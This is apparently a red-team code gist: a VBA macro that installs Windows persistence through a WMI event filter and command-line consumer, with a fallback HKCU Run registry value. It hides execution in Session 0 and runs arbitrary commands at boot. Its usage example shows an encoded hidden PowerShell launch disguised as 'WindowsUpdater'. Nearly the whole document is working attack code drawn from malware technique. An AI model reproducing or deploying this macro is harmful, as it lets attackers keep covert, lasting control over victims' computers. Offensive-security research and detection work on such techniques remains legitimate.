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@mgeeky
Last active September 4, 2021 04:38
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VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run.
'
' SYNOPSIS:
' This macro implements two windows persistence methods:
' - WMI Event Filter object creation
' - simple HKCU Registry Run value insertion. It has to be HKCU to make it work under Win10 x64
'
' WMI Persistence method as originally presented by SEADADDY malware
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
' and further documented by Matt Graeber.
'
' The scheduled command will be launched after roughly 3 minutes since system
' gets up. Also, even if the command shall spawn a window - it will not be visible,
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
'
' USAGE:
' WindowsPersistence("command to be launched", "taskName")
'
' EXAMPLE:
' WindowsPersistence "powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater"
'
' AUTHOR:
' Mariusz B. / mgeeky, '17
'
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
Dim filterName, consumerName As String
Dim objLocator, objService1
Dim objInstances1, objInstances2, objInstances3
Dim newObj1, newObj2, newObj3
On Error GoTo Failed
filterName = taskName & "Event"
consumerName = taskName & "Consumer"
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
'
' Step 1: Set WMI Instance of type Event Filter
'
Set objInstances1 = objService1.Get("__EventFilter")
' The malware originally will kicks in after roughly 3 minutes since System gets up.
' One can modify this delay time by modifying the WHERE clausule of the below query.
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
& "AND TargetInstance.SystemUpTime >= 200 AND " _
& "TargetInstance.SystemUpTime < 320"
' New object of type __EventFilter
Set newObj1 = objInstances1.Spawninstance_
newObj1.Name = filterName
newObj1.eventNamespace = "root\cimv2"
newObj1.QueryLanguage = "WQL"
newObj1.Query = Query
newObj1.Put_
'
' Step 2: Set WMI instance of type: CommandLineEventConsumer
'
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
Set newObj2 = objInstances2.Spawninstance_
newObj2.Name = consumerName
newObj2.CommandLineTemplate = exePath
newObj2.Put_
'
' Step 3: Set WMI instance of type: Filter To Consumer Binding
'
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
Set newObj3 = objInstances3.Spawninstance_
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
newObj3.Put_
WMIPersistence = True
Exit Function
Failed:
WMIPersistence = False
End Function
Public Function RegistryPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
On Error GoTo Failed
Const HKEY_CURRENT_USER = &H80000001
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
strValueName = taskName
strValue = exePath
objReg.SetExpandedStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, strValue
RegistryPersistence = True
Exit Function
Failed:
RegistryPersistence = False
End Function
Public Function WindowsPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
If WMIPersistence(exePath, taskName) <> True Then
RegistryPersistence exePath, taskName
End If
End Function
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